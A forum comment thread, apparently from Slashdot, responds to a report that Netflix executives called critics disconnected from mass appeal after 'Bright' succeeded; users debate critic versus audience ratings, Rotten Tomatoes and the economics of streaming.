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Netflix Executives Say 'Bright' Success Proves Film Critics Are 'Disconnected From Mass Appeal' (indiewire.com)
Last month, movie critics slammed David Ayer and Will Smith's Netflix tentpole "Bright" movie. At present, it has less than 30 percent rating on Rotten Tomatoes. But Netflix executives aren't worried. From a report on IndieWire: The abysmal reviews couldn't stop "Bright" from becoming a humongous hit on Netflix and earning a sequel. [...] According to both Netlfix bosses, "Bright's" success is proof that film critics don't matter as much when they're trying to tap into a global audience. "Critics are an important part of the artistic process, but [they are] pretty disconnected from the commercial prospects of a film," chief content officer Sarandos said. "[Film critics] speak to specific audiences who care about quality, or how objectively good or bad a movie is -- not the masses who are critical for determining whether a film makes money." CEO Hastings, chimed in to add "The critics are pretty disconnected from the mass appeal." Do ratings on movie websites matter? It's not a new topic of discussion. Last year, legendary director, producer and screenwriter Martin Scorsese said he believes real movie goers don't care about Rotten Tomatoes. But some people, including especially in the same room as Scorsese, disagree. Brett Ratner, the Rush Hour director/producer who threw the financial weight of his RatPac Entertainment behind Batman v Superman: Dawn of Justice blamed Rotten Tomatoes for convincing people to not watch his movie. Along the same lines, DC fans were angry over Rotten Tomatoes's Justice League ratings .
I've seen it referenced in articles about movies, but other than that, I've not paid attention to it.
Do people really look at that to decide if they're going to the movies or not?
I just listen word of mouth of friends that have seen a movie and liked it.
Granted, I don't go OUT to a movie theater that often, it has to be something special that really warrants a MUCH larger screen than I have and better sound, and I have a pretty good set up at my place.
But anyway....not really that familiar with RT.
Light travels faster than sound. This is why some people appear bright until you hear them speak.........
Need better measures on whether the watchers on netflix actually watched it out of specific interest? When i watch a movie in the theater or other media, i exhibit specific interest in that item. Here i might justve watched it since it effectively come as a part of the netflix bundle, and i'd already watched everything else of use that netflix of late has to offer. Their content refresh rate (for my liking)is much too slow and outdated. ALso, first post?
praised by critics, not loved by trekkies, fans, the audience: https://www.rottentomatoes.com... 82% vs. 55%
Batman v superman and Bright rated equally on Rotten Tomatoes for Critics.
Bright rated significantly higher with audiences than Batman v Superman.
Bright had no history so it didn't even get rabid fans praising something with Batman as "can do no wrong" so the already lower score of Batman v Superman can be "downcorrected" too.
Bright was good. Batman v Superman was a messy turd of a movie.
Don't compare the two.
I watched Bright and The Last Jedi within days of each other. Bright was the better movie.
Bright didn't waste 25% of the screen time on a red herring side story that does nothing to advance the plot.
Both movies tried to make a political point. Bright did so clumsily, while the Last Jedi simply bludgeoned you with theirs.
Although the plot of neither was particularly complex, Bright was just a simple enjoyable piece of entertainment while The Last Jedi was disappointing for the dismissive way it resolved questions from the previous movie plus the manipulative way it tried to push an agenda.
Critics in general are fairly worthless. The vast majority of the current crop (whether film, video game, etc.) thinks their job is to masturbate for a few paragraphs, show everyone how insightful and woke they are, and try to wow us with how much flowery language they can pack in. Long gone are the days where their job's chief concern was about whether the subject was something the audience would actually enjoy.
Netflix seems a bit of a special case. I've already payed for the service, so when they release anything that looks remotely appealing, I watch it. That doesn't make it a good movie, it just makes it the best thing on at the moment. Bright was a decent movie (better than 30% for sure), but it wasn't mindblowing. I probably wouldn't have bought a movie ticket. That said, I've been using moviepass, so theater-going has become more like Netflix for me. It doesn't have to be some anticipated summer blockbuster, just the best thing in theaters at the moment.
I think the popularity of Bright was that it was so bad, you dared your friends to see if they could sit through the whole thing.
Or, good taste is disconnected from mass appeal
Then the last viewed menu comes up. It wont be long before some idiot decides it would be a cool thing to autoplay all the icons to create "visual appeal" and interest.
With that kind of intrusive access to the customers it would be a big surprise if it is NOT a hit.
If the movie is really bad, and if they forced half their clients to watch it, they have spent some of the good will. It won't be long before people start leaving Netflix. You can not compare movies viewed after paying for parking, tickets and popcorn to auto played video shown for free.
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
I've often felt for years that film critics are disconnected from the audience. They ask all the wrong questions - "Was the camera good? Is the lighting correct? Did the characters develop properly?" but never ask the important questions that audience members have - "Did I enjoy the movie?"
Critics are failed filmmakers who turned to criticizing successful filmmakers. Maybe itâ(TM)s the only way they can make a living, or maybe itâ(TM)s retribution. Either way, I donâ(TM)t think anyone cares.
...when it costs zero additional for subscribers to view it?
The fact that I'm willing to watch 2 Lava 2 Lantula on SyFy doesn't mean I would pay to see it in theaters...
That movie needed a lot of dialogue improvement and a few plot improvements. The pace was a little wonky and well lit was just odd at times. The raw talent on stage was there and it could have been way better. In fact, it was the actors who kept me watching and not just turning it off.
That said, I'm sure Netflix spammed the movie to everyone under the sun and then patted themselves on the back for job well done. Hopefully, they put more effort into the issues that plagued the first movie and just don't go McDonalds on it.
I enjoyed Bright, Warcraft and King Arthur, despite all 3 getting savaged by critics (and the latter two mostly being disappointments in the US or worldwide). The problem with these movies is they are not 4 quadrant tentpole movies. Warcraft and King Arthur especially were heavy fantasy, as opposed to Lord of the Rings which has broad appeal.
Bright and Warcraft had extensive fantasy world-building, and it's just not something that appeals to everyone. My wife walked in the room while I was watching Warcraft and rolled her eyes so hard I was afraid she'd faint. BUT THAT'S OKAY. Not every movie is for everyone, something that gets lost when comparing critic reviews to audiences. Ironman and the recent Spiderman had broad appeal across genders and age groups. The DC movies did not, but were enjoyed by the very audience the movie was geared towards.
It's not good enough to distill a movie to a single numeric value when there are so many disparate audiences. So the Netflix exec is entirely right: Bright can be both savaged by critics and loved by audiences, but what he might not realize is that it's not loved by ALL audiences, but by fans of this particular genre. What's great about a movie like Bright is that it went full-bore into its world-building and that's going to have lasting appeal to fantasy fans, as opposed to being watered down.
Methinks it is to hid the garbage quality of a lot of the content you are producing as of late. Don't get me wrong they still make some good content, but the thumbs up/down "rating" system is crap. Some of the things I've been recommended are laughable.
This quote made me laugh: CEO Hastings, chimed in to add "The critics are pretty disconnected from the mass appeal."
Critics seem to like most of the Marvel movies and those have massive mass appeal, hmmm. I haven't seen Bright and maybe its an alright check your brain at the door movie, but Netflix seems rather butt-hurt about this.
There is nary a positive review that leaves out the fact that it is on Netflix. I wonder how many of these fan reviews are just people trying to justify the money they spend on the service.
I think the issue is that movie critics seem to need to justify their existence by over analyzing movies in ways they don't merit. Bright is meant to be a different take on the buddy cop movie trope and it does reasonable well at that. Anyone going into it probably doesn't expect a masterpiece of acting and writing, yet for some reason a lot of critics scored it negatively because they expected more out of the movie.
On the other hand it's not a bad thing to strive for better quality, although then you get into the debate of something like the new Star Wars, a good movie whose flaws were largely ignored or dismissed by critics instead of reflecting in their assessment like with Bright.
Film, theater, food and other critics have never been connected to the audience intended for the consumption of that material. I put zero value in the opinion of these untrained monkeys criticizing anything.
Film critics are not actors, producers, directors or anything else, The are not even part of the intended audience in 100% of the cases. This is fucking entertainment, nothing else. Look at pop music, every "music lover", loves to hate pop music, however, pop music is by far the most popular music by the masses. Hell, film critics have no value at all. They are not even from the industry they are criticizing. Not like a lot of sport announcers today who actually played the fucking game they are announcing and know something about what they are talking about.
Yes, I know every single Seagal, Van Damme, Stallone, Schwarzenegger movie is horrible, they are some of the worlds worst "actors", however, I'll enjoy and watch anything they star in and the "critics" will hate every single movie they star in.
... the way corporate execs see movies or any other media is the problem. The reality is you have new kids and people being born into the world all the time of various degree's of intelligence and education levels. So just because a movie has commercial success doesn't mean it isn't bad. Most people are stupid so movies would tend to reflect the intelligence of the average human being on our planet. It's called lowest common denominator for a reason.
The same way most of us look back on early cartoons of our youth when we are older and can see how media corporations were exploiting the fact we were young and just born yesterday. Every 15-20 years another generation of "born yesterays" appears with no memory of the past, so everything is new and exciting it's part of the reason why movies for average quality because we are a short lived species, older people have had decades of experience to refine their tastes. Those people with refined tastes eventually die and are replaced. So there's and endless wave excellence and mediocrity as generations live and die.
The reality is without critics directors would not be able to maintain any kind of semblance of quality. Since it's usually people who are intelligent that are making movies for audiences less intelligent than themselves.
Good point - I think the same could be made for a lot of things (cars, computer software, etc.).
Just my own personal take on the movie, but I actually hated it, but I did appreciate what they were trying to do and it was different, I'll give them that. I'm willing to acknowledge I probably wasn't the target audience.
That movie sucked. The average person will watch absolute garbage. See Michael Bay for proof.
Which is also why McDonalds sells 6.5 million hamburgers every day.
There are no refunds for lost time.
Time of people who'd go on Rotten Tomatoes to shout at the void on account of what they percieve as a "conspiracy of critics" against a Max Landis movie isn't very valuable to begin with.
Mit der Dummheit kämpfen Götter selbst vergebens
I watched about 20 minutes of 'Bright' and decided it was a turkey. If Netflix thinks that makes me a viewer and potential customer for a sequel, they're going to be disappointed.
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The Bright "professional" critics were probably thinking:
"Finally a movie that if I trash talk it to boost my critic-cred, it won't endanger my invites to movie premiers and pre-screenings from the big studios"
Critics analyze content and make observations. The idea that the critic is here to tell you what you're going to like is incorrect. You're confusing observations with prescriptions. If this idea seems wrong to you, you're not really a part of the critical audience in the first place. Netflix is attempting to appear populist, but all they are really doing is saying, "Don't trust the critics. Trust us. We know what you like." Although they do know what you like, they are also determined to never challenge you or upset you. They, like most content distributors, encourage you to coast through the rest of your life thinking you never need to consider any perspective on art other than the one which you already maintain. That way, they can produce automated content according to formula, and have predictable profit outcomes.
Cloudiot: A person who does not see offsite storage as a way to lose control over access to his or her own data.
It avoided the usual pap about racism and today's society (where the "victim" is saintly and the "Man" is evil) and went with "Everyone is an @sshole". Each race mostly lived down to the negative stereotypes each held for the others, yet some individuals rise above that. A lot like actual, non PC reality.
Centaur cops in full riot control armor, "Fairy Lives Don't Matter Today", and Will Smith playing the exact type he's always been played off *against* (cranky old guy caring more about retirement, mortgages, and stability than Causes and Heroism) so that was refreshing.
Some holes sure. Thousands of years since Evil Was Thrown Down but only recently, all over the world in all cultures, the first and only Orc police officer is in LA? Never before anywhere else?
I usually read IMDB use reviews because the critics reviews aren't what I'm looking for. User reviews on IMDB are thoughtful, and they're pretty quick to point out when you have a real stinker. I'm not sure that the whole picture is being considered, no pun intended. Netflix subscribers only had to choose WATCH. They did not have to get in a car, go to the theater, buy tickets, buy snacks and popcorn, grab a seat, and then get entertained. If the movie lets you down EVEN A LITTLE, you're going to be upset after paying over $50 for 2 tickets plus food. So Netflix users are probably a little more forgiving ... they only had to click PLAY.
Netflix and CHILLLLLLL .... wubba lubba dub dub!
I sometimes get a feeling that once one critic badmouths a movie, it sets of a chain reaction.
Other critics will parrot the majority. Some smart guy says a movie is bad because of X... well, I'm a smart guy too, so I should probably point that out as well. And it just spirals out of control, with a movie getting progressively worse in each review.
Or at least, other critics will look at a film through a new lens. They'll know someone said X, so they'll spend the entire movie looking for examples of X.
Being unbiased is hard. It's got to be even harder now than ever, now that everyone is connected via very immediate social networks. And you have a lot of amateurs on Youtube/etc. who are early enough in their careers that they haven't figured out their biases yet.
I actually thought Bright was okay. It's not a smart movie, but it's not dumb either. It was entertaining. It tried something new and had some flaws, but nothing major.
They taste kinda like pork.
Mit der Dummheit kämpfen Götter selbst vergebens
... it was a passable and enjoyable attempt at trying something a bit different.
Right now, one of the biggest problems with big studios is the expectations of shareholders and companies. We've reached the point where a major movie that doesn't crack a billion dollars is considered a flop. And that says it in a nutshell, because it tells us that the only thing the big studios care about is cranking out carbon copies with two-dimensional characters. "Taking a risk" is not an option for mainstream movie studios these days.
So we should welcome what Netflix are trying to do and applaud their successes. For other like me in the audience, more quality competition can only be a good thing.
And: I realised, a long time ago, that I rarely agree with film critics. As a result, I don't read reviews: if I see a trailer and it looks interesting, I'll see the movie.
Oh, one thing though [not strictly related to the original point]. For me, one of the real benefits of Netflix is that I don't have to drive a 35-mile round trip to get to a decent cinema, pay £15.55 for an adult ticket [a price literally just checked on Odeon's web site for a Black Panther screening] and be forced to sit adjacent to a small group of people who will noisily chomp popcorn, slurp drinks, talk and generally disturb the movie from start to finish.
The movie studios and the ratings are both correct.
The movie features will smith with a theme that is enticing and so viewers went to see the movie. The executives are correct.
The movie that they saw however was garbage with a "fantasy" world which consisted of only 3 fantasy characters (elf,fairy,troll) and was quite frankly a let down in terms of bringing this world to life on the screen. The review was correct.
I believe the executives aren't entirely reading the situation correctly, the movie was seen by many eyeballs. However if they make too many crappy movies seen by a lot of people, well for one thing I'll probably avoid the next will smith movie like the plague, I'll also probably avoid David Ayer the director for not pushing the project as much as he could leaving it very one dimensional and flat.
The executives see the momentary instance, they do not see the longer term where people notice who acted, wrote, directed, financed a film and begin to associate that with shitty movies and start to avoid them.
An example could be your a horror fan, you see a film was created by IFC midnight or lionsgate, you are in for a thrill. You see the movie was created by weinstein company, you burn your television to the ground and piss on it.
It's not a critic's job to guess how popular a movie will be. Far too often poorly made movies are commercial successes.
I watched Bright, all the way through. About 30 minutes in we were asking ourselves if we had anything better to do.
Its a mindless action flick that makes fun of the fantasy genre. It need to be placed in the same category as Die Hard or a Jackie Chan movie. If anything it's a decidedly above average film in that genre because it doesn't take itself particularly seriously and actively and rather successfully trolls the fantasy genre. The moment you start analysing it as serious film you're doing yourself and the movie a great disservice. Full stop. Anyone taking more than 5 seconds to critique this film doesn't understand the film.
Poorly reviewed movies like the Tranformers series have always done well.
Likewise, well-reviewed movies like The Force Awakens (and most other JJ Abrams films) are in fact terrible. I understand why audiences might like them, but there's no reason for reviewers to hop aboard those trainwrecks.
There are movies like The Witch (or The VVitch) that audiences hated, yet reviewers loved. In that case, the audiences were right and the reviewers are delusional.
The point is, I'm always right. You should all be paying me to review movies. Differing opinions have been banned since the Eternal September on USENET.
Years ago I used to go to the movies with a friend alot, often a couple of times a week for years. We would just turn up and see whatever was playing next.
From that experience I can say I became very much jaded about typical movies.
After watching so many movies where its almost the same story structure over and over it became hard to really enjoy most movies. You have seen almost the same movie countless times before. Anything that is visually different or told in another style or ANYTHING seemed much better.
Since then its made me think this is probably why critics and casual movie viewers don't have similar experiences.
If you eat donuts for a living you will critic aspects of a donut that a casual eater would never care about. Its not boring if you haven't seen the same story 100 times before.
I only listen to redlettermedia
https://www.rottentomatoes.com...
I guess I’m part of the great unwashed masses, because I enjoyed Bright quite a bit. Perhaps because I didn’t view it as a standalone movie, but the introduction of a fantasy series.
Not sure what critics where expecting. The race and inequality allegories are not subtle, but they touch on a lot of issues. You could read too much into the privileged class of elves. Do they represent Jews? More likely they are intended to represent white privilege and/or the one-percent’ers. Do some races have innate advantages (brightness) that drive inequality? This is a harder question to answer. Very few humans or orcs have the Bright (magic) ability in the movie. In some ways the movie is very predictable, as a plus or minus it raises uncomfortable social questions (without resolution). Perhaps some of its low score is because it fails to give the perhaps mandatory expected PC answers that Hollywood’s seems to demand.
I found the obvious racial stereotypes the second Star Wars trilogy harder to overlook because they weren’t trying to make any comment about racial inequality, but just playing to stereotypes out of laziness and/or carelessness (hopefully not malice).
In general I find I usually agree with the critics scores more so than the audience scores, so this one surprised me. I suspect this is a movie that for whatever reason is liked or hated by many with little in between. Since critics have to watch all movies it gets a low score. People inclined to like fantasy and action movies self select in going to and giving a rating to this movie. Largely I think if you raise social issues, critics expect some kind suggested social change, whether realized by the protagonists or not.
Letter To Iran
What's great about a movie like Bright is that it went full-bore into its world-building and that's going to have lasting appeal to fantasy fans, as opposed to being watered down.
This right here is why I enjoyed it. The editing was pretty bad, especially a couple of the cuts between scenes. But the world building and premise was great. I am a big fan of Shadowrun, and IMO the world that they created for Bright is the closest to Shadowrun I am ever going to see in my life time.
The disconnect between critics and audiences is real (see, for example, the ongoing financial success of the Transformers series), but Bright's performance is categorically different from a theatrical movie's performance, because it didn't cost anything to watch.
Anybody who saw Bright already had a Netflix subscription. Watching Bright cost exactly as much as not watching Bright. The cost/benefit analysis of watching a movie when you're already sitting down and preparing to watch something, on a service you've already paid for (and, optionally, with concessions you've already paid for), which you can also put on in the background while you're doing something else, is fundamentally different from the cost/benefit analysis of going out and paying for movie tickets (and, optionally, expensive concessions) and dedicating 90 minutes of your life to watching a movie and doing nothing else.
In other news, water is wet, the sun is hot, and proctological exams are uncomfortable.
Of COURSE they are. And always HAVE been.
Their priorities and interests when watching films have little to nothing to do with the film itself.
They're reviewing based on synthetic ideals of what constitutes a "well made" film along the lines of film school and art appreciation.
Regular people don't watch films like that.
They go to films for various reasons that all boil down to "Did this film entertain me in the ways I expected it to?"
Chas - The one, the only.
THANK GOD!!!
You can't compare a movie like "Justice League" being shown in the theaters with a movie like "Bright" being shown on Netflix.
If I decide to watch "Bright", it costs nothing beyond the monthly Netflix fee I'm already paying. If I hate it, what of it? I turn it off and move on. I can afford to ignore the Rotten Tomatoes score and take a gamble.
But with a film like "Justice League", I'm going to pay about $30 for two people at a minimum, so I pay attention to the reviews to determine if I'll get my money's worth. In effect, Netflix has made itself largely immune to bad critical reviews with its monthly fee model, and there is no way the traditional studios can compete with their pay-per-view model.
There are two metrics that critics and the public see differently: quality and entertainment value. Critics are more prone to see them as synchronized, when they're often not. The public, being comparatively less astute, can easily be led believe spectacle and A-list cast mean quality.
Bright was a lousy movie due to lame story, bad writing, and ill-considered worldbuilding. But it had spectacle, A-list cast, was something the public (at least those not familiar with things like Shadowrun) had never seen before, and was entertaining.
Mass appeal will always be separate and distinct from critical appeal. The former is about the commercial success, the latter about quality. The Big Mac® has mass appeal, but I wouldn't want to eat one.
The Last Jedi: a terrible movie adored by critics but not fans.
Once critic notably criticized fans the disliked the movie: claiming that the fans did not understand the proper way to view a movie (that it does not matter if you like the movie or not, all that matters is the vision that the artist was trying to portray).
McDonalds should be claimin their michelin star. Despite being heavily criticized by renowned chefs, their appeal to a large audience shows they are haute cuisine!
If an experiment works, something has gone wrong.
Bright was trash. It's as if a 14 year old wrote it, starting out with a pathetic attempt to address race relations in the most ham-fisted way imaginable, but quickly devolving into a shitty fantasy drama that forgets what it was doing 2 minutes ago. Elves are oppressive whites, orcs are repressed minorities, and humans are just along for the ride to give you some sort of juxtaposition / reference point / grounding in "reality".
The movie is filled with blunt, show-stopping moments of "BEING RACIST IS BAD" while simultaneously ignoring all human race relations. At no point does Will Smith's character show one iota of insight over the prejudice and treatment his Orc partner is subjected to. If you're unfamiliar with Will Smith, he is black (as is his character). Maybe his character is completely oblivious to race? No, his daughter directly references that shit early on in the movie (despite seconds earlier exposing herself as a duplicitous speciest herself). He also has opinions about his neighbors who, along with the gang that sort of shows up in the middle of the movie to make threats and do nothing else, are an incredibly lazy stereotype of latinos that runs absolutely counter to the message the movie is trying to shove down your throat. It's up there with the Wayans brothers trying to make a statement with White Chicks.
But don't think I just hate it because it's SJW trash. I hate it because it's trash through and through, in all aspects. The overall plot has to do with elves, orcs, and humans caught in between. The elves and their human toadies run the joint, and live in high society. The 99% of humans and the orcs are basically the dirty poor. Magic wands are basically WMDs, and when one is rumored to be around all hell breaks loose. Only 1 in a million people can touch a wand without exploding. Spoiler: Will Smith is the chosen one, I mean, "Bright". That doesn't stop everyone in a 50 mile radius from fighting over the thing, including the elves and the humans in the men-in-black / ministry of magic. Are they some secretive shadow organization? Corrupt? Merely incompetent? No one knows, and you never find out. There's a group trying to reanimate Dracula or whatever they call their Big Bad, and there's a group trying to prevent it. Our plucky heroes get caught in the middle and end up saving the day, and the elves/government people pay them a visit later and everyone agrees to sweep it all under the rug as if nothing happened.
And that's exactly what happens to the characters in the film. Nothing. Despite Will Smith learning he's a "Bright", he doesn't do shit with it. Despite the revelation that a evil super villain is being brought back by a group of cultists, the elves and human government are content to wallow in ignorance / incompetence. Despite everything Will Smith's partner (the orc) has gone through, no one accepts orcs. He gets a brief "hero ceremony" along with a bunch of dead, crooked cops (who tried to kill him and Will Smith earlier), but there's no indication that anyone accepts an orc in polite (human/white) society. At best, he's an Uncle Tom on that front. Of course, you'd then have to ignore the fact that the biggest thing to happen to him in the movie was getting "blooded". This is when a bunch of orcs cut their palm and raise it in the air as a symbol of their acceptance of another. Basically, he got hos street cred, and he's a "real orcca" now.
Despite how simple and cliched the main plot is, it never really makes sense and you never learn any character's actual motivations. There aren't any hints dropped about the back story of this big bad evil or the elves and government running the show. There's no filler or reference to flesh anything out. Everyone acts in the moment in a haphazard fashion. The "cut to the chase" style of writing / directing is fine if you don't want anyone to think about the plot, but to do that while simultaneously trying to shoehorn in some shitty race relations message or some swiss cheese backstory is bizarre
I'd say the Transformer movies proved this long ago.
But both parties are not wrong. Bright was, objectively, a crappy movie. The visuals and costumes were really well done, but the story was a hot mess. At the same time, it made for a mildly entertaining (albeit mindless) evening and I can see how that would absolutely make it "good enough" in most viewer's minds.
RT, for very good reason, splits ratings for paid critics and its userbase at large. For any genre movie (and Bright is all-in Fantasy Sci-Fi, with a splash buddy-cop action), if you are a fan of that genre you should never look at the critic's reviews.
So yeah, Richard Roper and the reviewer from Uproxx (who loved "Tully" and the Ruth Bader Ginsburg biopic and the My Little Pony movie) didn't care for it, and neither did most of their colleagues. I don't really care.
The fans, the people who wanted to watch it in the first place without being forced, gave it an 86% positive rating. I'm one of those folks, so what they think is a much better guide. If I'm being dragged to a random movie I wouldn't normally chose, *then* perhaps the critics' reviews are more relevant.
IMDB rating is based on user reviews, not critics. Bright got terrible critic reviews, but the user reviews are pretty good. You can see both if you go to Metacritic: 2.9/10 critic reviews, 7.3/10 user reviews. I'd personally give it around 7/10 as well.
Back in the day the movie critic at the CBS affiliate in New York City didn't like "Star Wars". That's "Epsiode 4: A New Hope", the first movie. He trashed it on its opening, gave it a 2 on a scale of 5. This wasn't attacking the movie as lacking in the artsy oscar nominee sense, it was attacking it as stupid and not-fun.
A few years later I was flipping channels and saw this same movie reviewer on one of the second tier stations. I guess Star Wars wasn't his only mistake.
This incident left me with a certain skepticism regarding professional movie critics.
Bright and Warcraft had extensive fantasy world-building, and it's just not something that appeals to everyone. My wife walked in the room while I was watching Warcraft and rolled her eyes so hard I was afraid she'd faint. BUT THAT'S OKAY. Not every movie is for everyone, something that gets lost when comparing critic reviews to audiences.
I think what really bothers me is that fantasy movies are given a pass on being "good" movies, because they "appeal to the niche". Like, why can't we have world building AND a logical story line? I appreciate fantasy worlds, but I also appreciate good stories. I want both. And maybe fantasy movies would attract more people (at the very least, the partners of the fantasy nerds) if they didn't ignore the other aspects of a well-rounded movie.
91% Critic Rating. 49% of the audience liked it.
I'm in the "I didn't like it." category. I also really wanted to like it. Unfortunately, it's all style and no sense.
In my experience, critics criticize and rarely praise. That's all they do. They pontificate, infer, imply, and judge whether or not a a particular work satisfies their subscribed beliefs or preferences. In fact the production and distribution of criticism (be it political, entertainment, or otherwise) is an ends to itself. People like to read what other people think about something to steer (or intentionally bolster) their own presuppositions.
But never have I heard of critic responses being cited as predictors of how much an product will appeal. That's the job of market analysts.
Thus, critics and their opinions don't need to be "connected" with the patterns of mass appeal. They could be entirely correct about Bright by saying the acting is of "moderate quality", the theme is "low brow", and there's "no expectation created in the story-telling's abrupt ending that there might be an elaboration on the universe for those low-brow film enjoyers in the future".
But unless they say, "No one's going to watch this because...", they're not attempting to predict anything.
I go see a movie based on whether it appeals to me, not what the critics say or the IMDB rating is.
Many critics have probably forgotten how to just sit back and enjoy a movie because they're too grizzled. They've "seen it all" after having to watch 365+ movies a year and then having to superfluously analyze everyone of them - all for a paycheck.
Imagine having to smell a different Yankee Candle every day and having to write a review for it. For 5 years. Then someone walks up with, "Christmas Cookies in Bed," candle and asks you for candle review #1839. What would you say? It may go something like this: "What? Christmas Cookies - in bed? Why?? Imagine the crumbs you'd get in your bed everywhere... And what does the bed smell like? Is it a Motel 6 hooker bed, or a new mattress gassing off fire retardant smell? * Sniff * They didn't get the bed smell I'd expect out of Yankee Candle! And this theme has been done better before. Christmas Cookie. Christmas Eve Cookies. Cinnamon Christmas Surprise. Home for the Holidays. Holiday Ho-Hos, Mrs. Claus's Cookies, Rudolph's Chocolate Chips, and so on... Wait to pick up this candle when it goes on sale, or just wait and smell this candle at your friend's house next season."
Now imagine an average Joe, smelling Christmas Cookies in Bed. They haven't smelled a Christmas cookie candle in a long time, if ever. A lot of Joes are going to say, "Mmmm. Makes me hungry."
This may sound like it's straight out of the Michael Bay playbook, but millions of regular people just want to see 1) some explosions/FX they haven't seen before and 2) some gratuitous sexuality. Tie it together with a charismatic lead or two, an interesting world with a believable plot and some good twists, and tack on a happy (or at least satisfying) ending, and you have a moneymaker.
Bright had those basic elements. It had a modern world with swords/magic, surprising magical disintegrations, a hot chick magically stuck in drywall like a Heavy Metal movie poster, and a Will Smith being the charismatic Will Smith (not the dour Cypher Rage). They even threw in a titty bar guns/kung fu fight for good measure.
Everything else is superfluous, artistic license that's just gravy for statistical outliers like critics who are reaching higher (probably just to stay sane in their jobs).
The problem with these movies is they are not 4 quadrant tentpole movies.
No, the problem with Warcraft is that it sucks ass.
Movie critics (and other types of critics like food critics) date back from the newpaper days of communications. Only a limited amount of one-to-multi communications was possible (one per newspaper), so the best approach to reviews was to get critics with generic, average taste. Their reviews would then serve as a good guide for most people, thus serving the needs of the newspaper to generate mass appeal. The type of people who like to review films (generally people with backgrounds in the industry) introduced a bias which over-emphasized artistry, deep symbolism, and references to other movies and literature, over what the general public likes, but it was an acceptable tradeoff. You can't turn people who enjoy watching movies but not thinking too much about them into critics and reviewers.
Today, the Internet makes one-to-multi communications trivial, and vast amounts of computing power and database technology makes it possible to compile millions of reviews to generate multi-to-multi communication. The "one point of view which works for most people" approach to reviewing movies from the newspaper days is obsolete. The correct method for reviewing today is for you to enter a bunch of movies you like and dislike into a database, and a computer matches you to other people with similar tastes. Then the computer can recommend to you movies those other people have seen and liked, but you haven't seen yet. Likewise it recommends you avoid movies which those people didn't like. If one of those people with tastes like yours also happens to enjoy writing movie reviews, that's the movie critic you should follow.
Perhaps not surprisingly, this is what Netflix does. Based on what movies you've watched, it recommends other similar movies. If you rate the movies you've watched, it fingerprints your ratings, finds other viewers with similar ratings fingerprints, and their ratings carry a heavier weight on the movies Netflix recommends to you.
Like, why can't we have world building AND a logical story line?
So true. And it's not like there's a shortage of great, coherent fantasy and sci-fi stories. Why don't they just turn to literature? Maybe they don't want to pay for the movie rights.
There are various lists of greatest films, and usually "Citizen Kane" is at the top. Personally, I think it is not only not one of the greatest, I think it's downright bad. I find it pretentious, tedious, false, and with a gimmicky ending. So I have reason to take critics ratings with a mighty big grain of salt. But even Truffaut, who I consider one of the very good ones among film makers, paid a tribute to that movie. So maybe it's just me and Citizen Kane has a profundity that goes over my head.
I do like reading individual reviews by critics who are good writers and who have given a certain amount of thought to their opinions, like David Thomson for instance. He likes Citizen Kane, and that's not the only time we disagree. But he (and other critics who I sometimes agree with and sometimes don't) often points out things that I might have missed. Check out various critics, find out those who seem to have something to offer, and you can benefit from it. If you go to Rotten Tomatoes don't just look at the score, look at the comments.
I have to say though that I'm an old guy, and I don't know what the new critics are like generally. I used to look at reviews done by amateurs on IMDB, and some of them were pretty good, but it's like slashdot, you have to sift through them, and they don't have slashdot's rating system to help you filter out the dolts.
In theory, theory and practice are the same; in practice they're different. (Yogi Berra & A. Einstein)
fan boys are more likely to slag on something that doesn't meet their expectations. Hell hath no fury like a fanboy scorned. Bright OTOH has no expectations since it's a new property.
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
And this 'review' is why I'll buy it / watch it should the opportunity arise.
Cheers!
I enjoyed Bright, Warcraft and King Arthur, despite all 3 getting savaged by critics (and the latter two mostly being disappointments in the US or worldwide). The problem with these movies is they are not 4 quadrant tentpole movies. Warcraft and King Arthur especially were heavy fantasy, as opposed to Lord of the Rings which has broad appeal.
Bright and Warcraft had extensive fantasy world-building, and it's just not something that appeals to everyone. My wife walked in the room while I was watching Warcraft and rolled her eyes so hard I was afraid she'd faint. BUT THAT'S OKAY. Not every movie is for everyone, something that gets lost when comparing critic reviews to audiences. Ironman and the recent Spiderman had broad appeal across genders and age groups. The DC movies did not, but were enjoyed by the very audience the movie was geared towards.
It's not good enough to distill a movie to a single numeric value when there are so many disparate audiences. So the Netflix exec is entirely right: Bright can be both savaged by critics and loved by audiences, but what he might not realize is that it's not loved by ALL audiences, but by fans of this particular genre. What's great about a movie like Bright is that it went full-bore into its world-building and that's going to have lasting appeal to fantasy fans, as opposed to being watered down.
I think the problem is that the question Rotten Tomatoes is asking:
"What's the average rating of a bunch of people considered professional movie critics?"
Isn't the question you're interested in, which is:
"Is this movie one I'd personally enjoy?"
That's a really hard question to answer but:
"What is the rating of a bunch of professional movie critics who are fans of hard-core fantasy?"
Or:
"What's the ratings of audiences who share my interests?"
I'm really kinda shocked that IMDB hasn't taken a shot at the last one.
I stole this Sig
Or the critics could be in a different place than you were. I loved SW:ANH as a child and as a young adult. Now that I am older, I can see how cheesy the dialog was and how campy the good vs. evil aspect of the film was. Same goes for Princess Bride and a few other films from my youth. There is still a strong nostalgic bond, but I wouldn't really call either very good these days.
The simplicity of the RT scoring system is a big part of its mass appeal, but it's also its biggest weakness.
Pros: RT helps weed out clunkers/bombs with extreme accuracy. If it's below 25%, it's going to be bad - end of discussion.
Cons: RT scores don't do as good of a job telling you HOW good the non-bomb movies are because it's a binary system (Fresh/Rotten). When 100 critics see a generally satisfying but not great movie, the overwhelming majority still give it a begrudging Fresh - and it ends up with deceiving a "Certified Fresh" score (80%+).
Even movies with high 90s scores can be forgettable. Best example, IMO: Chicken Run (2000). It had a 100% score at the time (since dropped to 97%), so we went to the theater expecting a can't miss, must-see movie. We were totally underwhelmed. It was good but not a "100%" movie, and I haven't watched any of it since.
To be fair, the audience score doesn't get it right all the time or tell you what you need to know, either. Case in point: Guardians of the Galaxy vs. GOTG Vol 2. Most people would agree that the original was superior, but the audience scores are identical at 88% (coincidentally, the different RT scores were better indicators.)
Those audience scores combined with the RT score do give you the best picture of what's going on - but even that still can't tell YOU if you're going to love the movie or not. Until we're all hooked into a "matrix" that literally charts everything we all think and feel while watching a movie and does some kind of genetic/environmental mapping of our lives, our opinions will always just be good as a study of one.
My dad took me to see Star Wars in 1979, I believe. That would make him 53. He loved it his whole life, and would often talk about the opening scene of the Star Destroyer coming overhead and making him sit up and take notice.
